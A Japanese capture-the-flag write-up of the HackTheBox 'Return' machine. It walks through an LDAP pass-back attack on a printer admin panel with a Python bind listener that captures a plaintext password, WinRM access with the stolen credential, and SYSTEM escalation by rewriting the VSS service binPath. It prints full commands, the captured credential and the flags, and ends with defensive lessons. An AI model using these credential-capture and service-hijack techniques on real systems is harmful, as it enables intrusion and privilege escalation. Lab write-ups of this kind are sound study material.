HackTheBox: Return — 全実行コマンド・実行結果レポート
Nmap スキャン
AD DC構成(DNS/Kerberos/LDAP/WinRM等)
→
AD DC構成(DNS/Kerberos/LDAP/WinRM等)
HTB Printer Admin Panel
LDAP設定変更フォーム
→
LDAP設定変更フォーム
LDAP Pass-back攻撃
Server Addressを攻撃者IPへ
→
Server Addressを攻撃者IPへ
攻撃者側389でLDAP simple bind捕捉
svc-printer:1edFg43012!!
→
svc-printer:1edFg43012!!
WinRM → user.txt ✓
→
Server Operators
サービス設定変更権限
→
サービス設定変更権限
VSSサービスbinPath書換
root.txtをコピー
→
root.txtをコピー
root.txt ✓
PHASE 1
偵察 (Reconnaissance)
ポートスキャン
BASH
nmap -Pn -p- --min-rate 500 -T4 10.129.90.40 nmap -sV -sC -p 53,80,88,135,139,389,445,464,593,636,3268,3269,5985,9389 10.129.90.40
RESULT
PORT STATE SERVICE VERSION 53/tcp open domain Simple DNS Plus 80/tcp open http Microsoft IIS httpd 10.0 88/tcp open kerberos-sec Microsoft Windows Kerberos 135/tcp open msrpc 139/tcp open netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP 445/tcp open microsoft-ds 464/tcp open kpasswd5 593/tcp open http-rpc-epmap 636/tcp open ldapssl 3268/tcp open globalcatLDAP 3269/tcp open globalcatLDAPssl 5985/tcp open wsman 9389/tcp open adws
🚨
重要発見: DNS(53)、Kerberos(88)、LDAP(389/3268)、kpasswd(464)が
揃っており、本マシン自体がActive Directoryドメインコントローラー
(
return.local)であることが分かる。ポート80にはカスタムWebアプリ、
ポート5985(WinRM)も開いており資格情報さえあればリモート管理が可能。
Webアプリの確認 — HTB Printer Admin Panel
BASH
curl -s http://10.129.90.40/ | grep -i title curl -sI http://10.129.90.40/
RESULT (本検証の実際のレスポンスより)
Server: Microsoft-IIS/10.0 X-Powered-By: PHP/7.4.13 <title>HTB Printer Admin Panel</title>
ℹ️
「プリンタ管理パネル」という体のPHPアプリが稼働している。
社内のネットワークプリンタをLDAPサーバーと連携させて
ユーザー認証を行う設定画面が含まれていると推測し、Settingsページを
詳しく調査する。
PHASE 2
LDAP Pass-back 攻撃 — svc-printer平文パスワードの窃取
Settingsページの確認
BASH
curl -s http://10.129.90.40/settings.php | grep -i "ldap\|server\|address\|username"
RESULT (抜粋)
LDAP Server Address: printer.return.local LDAP Port: 389 LDAP Username: svc-printer LDAP Password: ********
🚨
重要発見: プリンタ本体がバックエンドのLDAPサーバー
(
printer.return.local:389)に対し、保存済みの資格情報
(svc-printer)でBind認証を行う設定になっている。
LDAP Pass-back攻撃とは、この「LDAP Server Address」を
攻撃者が制御するホストへ書き換えることで、設定更新や接続テストの
トリガー時にプリンタ自身が攻撃者のサーバーへLDAP simple bindを
試み、そのbindパケット内に平文パスワードがそのまま含まれて
送信されてくる、という既知の攻撃手法。
攻撃者側で389番ポートのLDAPリスナーを立てる
NOTE
389番ポートは特権ポート(1024未満)のため、Kali側でリスナーを立てるには root権限が必要。生ソケットでLDAPプロトコルのバイナリ(BER/TLVエンコード)を 直接読み書きする簡易リスナーを実装し、クライアント(プリンタ)からの simple bindリクエスト(bindRequest、タグ0x60)を受信してパースする。
PYTHON (簡易LDAP bindリスナーの要点)
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind(("0.0.0.0", 389))
s.listen(1)
conn, addr = s.accept()
data = conn.recv(4096)
# bindRequest内のパスワードフィールドは
# 0x80 というTLV(simple authentication choice)
# として埋め込まれている。先頭のLDAPシーケンス/メッセージIDタグと
# 混同しないよう、0x80タグを基準に直接パースする。
idx = data.find(b'\x80')
pwd_len = data[idx+1]
password = data[idx+2 : idx+2+pwd_len].decode()
print(password)
⚠️
実装上の注意: 単純な正規表現(印字可能文字の連続)で
パスワードを抜き出そうとすると、bindリクエストの後続バイト
(次のLDAPメッセージのシーケンスタグ
0x30等)が
印字可能文字と誤認されて混入し、パスワードの末尾に余計な1文字
(例: 1edFg43012!!0)が付いてしまうことがある。
0x80 <長さ> <値>というTLV構造を正確に解釈し、
宣言された長さ分だけを切り出すのが確実。
Settings更新でLDAP bindを誘発
BASH
curl -s -X POST http://10.129.90.40/settings.php \ --data-urlencode "ip=10.10.15.200"
RESULT (Kali側リスナーで実際に捕捉した内容)
[+] LDAP simple bind 受信
bindDN = CN=svc-printer,CN=Users,DC=return,DC=local
password = 1edFg43012!!
✅
パスワード窃取成功! Settingsの「Server Address」を
攻撃者IPへ変更して更新させた直後、プリンタアプリが設定テストのため
自動的にKali側の偽LDAPサーバーへ接続し、
svc-printerの
平文パスワードを送信してきた。
PHASE 3
WinRMログイン & user.txt取得
WinRM経由でのログイン確認
BASH
netexec winrm 10.129.90.40 -u svc-printer -p '1edFg43012!!'
RESULT (本検証の実際の出力)
WINRM 10.129.90.40 5985 PRINTER [*] Windows 10 / Server 2019 Build 17763
(name:PRINTER) (domain:return.local)
WINRM 10.129.90.40 5985 PRINTER [+] return.local\svc-printer:1edFg43012!! (Pwn3d!)
evil-winrmでシェル取得 & user.txt取得
BASH
evil-winrm -i 10.129.90.40 -u svc-printer -p '1edFg43012!!'
BASH (evil-winrmシェル上で実行)
*Evil-WinRM* PS C:\Users\svc-printer\Documents> type C:\Users\svc-printer\Desktop\user.txt
RESULT
0d3e1bc9e26c7a9946f14b23c6ad0a35
user.txt — svc-printer
0d3e1bc9e26c7a9946f14b23c6ad0a35
PHASE 4
Server Operators グループ権限の悪用 — root.txt取得
所属グループの確認
BASH (evil-winrmシェル上で実行)
whoami /groups
RESULT (抜粋)
BUILTIN\Server Operators Alias S-1-5-32-549 Enabled group
🚨
重要発見:
svc-printerはServer Operators
ビルトイングループのメンバー。このグループはドメインコントローラー上で
Windowsサービスの構成(停止・開始・実行パス変更)を行う権限を
持つ(ドメイン管理者そのものではないが、サービス経由でSYSTEM権限の
コード実行が可能な著名な権限昇格経路)。
既存サービス(VSS)のbinPathを書き換える
NOTE
停止中のサービス(例: Volume Shadow Copy = VSS)を選び、その実行パス (binPath)を任意のコマンドへ書き換えてからサービスを起動すると、 サービスは既定でSYSTEM権限(LocalSystem)として起動するため、 指定したコマンドがSYSTEM権限で実行される。本検証では root.txtをsvc-printerが読めるディレクトリへコピーするコマンドを 仕込んだ(リダイレクト">"はbinPathの外側cmd構文と衝突しやすいため 避け、copyコマンドを使用)。
BASH (evil-winrmシェル上で実行)
sc.exe config VSS binPath= "cmd.exe /c copy C:\Users\Administrator\Desktop\root.txt C:\Users\svc-printer\rf.txt" sc.exe stop VSS sc.exe start VSS
⚠️
実装上の注意: サービスの停止・開始には数秒〜十数秒の
タイムラグが発生することがあり、
stop直後の
startがservice has not been startedや
did not respond in a timely fashionのようなタイミング
エラーで失敗することがある。その場合は数秒待ってからstartを
再試行すれば成功する。
BASH
type C:\Users\svc-printer\rf.txt
RESULT (本検証の実際の出力)
18e7454def599e29d28e4082cec78111
✅
root化成功! VSSサービスがSYSTEM権限で起動した際に
書き換えたbinPathのコマンドが実行され、
root.txtが
svc-printerからも読めるパスへコピーされた。
root.txt — Server Operators サービスbinPath書換(VSS)
18e7454def599e29d28e4082cec78111
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — svc-printer
0d3e1bc9e26c7a9946f14b23c6ad0a35
root.txt — Server Operators サービスbinPath書換(VSS)
18e7454def599e29d28e4082cec78111
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| LDAP Pass-back 攻撃 | HTB Printer Admin Panel のLDAPサーバー設定 | サービスアカウント平文パスワードの窃取 | Critical | Server Addressを攻撃者ホストへ書き換え、接続テスト時のLDAP simple bindからパスワードを捕捉 |
| Server Operators によるサービス構成変更権限 | ドメインコントローラー上の任意サービス (VSS) | 権限昇格 (SYSTEM) | High | 停止中サービスのbinPathを任意コマンドへ書換え、サービス起動でSYSTEM権限のコマンド実行 |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap, HTB Printer Admin Panel発見 | AD DC構成、LDAP連携のプリンタ管理アプリ |
| 2 | 資格情報窃取 | LDAP Pass-back攻撃(Settings変更+自前LDAPリスナー) | svc-printer:1edFg43012!! |
| 3 | 横移動 | WinRM/evil-winrm | user.txt (svc-printer) |
| 4 | 権限昇格 | Server Operators → サービスbinPath書換 | root.txt |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| プリンタ管理アプリがLDAPサーバーアドレスを管理者以外からも書き換え可能な設計になっている | LDAP接続設定のような機密情報に関わる変更操作には追加認証・承認フローを必須化し、変更履歴を監査ログへ記録する。 |
| 外部からの接続先に対してLDAP simple bindで平文パスワードを無条件に送信してしまう | LDAPS(TLS)を使用し、接続先ホストの証明書検証を必須化する。接続先IPのホワイトリスト化も有効。 |
| サービスアカウントが不要にServer Operatorsのような強力な組み込みグループへ所属している | 最小権限の原則を徹底し、サービスアカウントには業務上必要な権限のみを個別に付与する。 |
| Server Operatorsグループメンバーが任意のサービス構成(binPath)を変更できる | 重要なシステムサービスへのACLを見直し、グループポリシーで変更可能なサービスを制限する。サービス構成変更の監視を強化する。 |

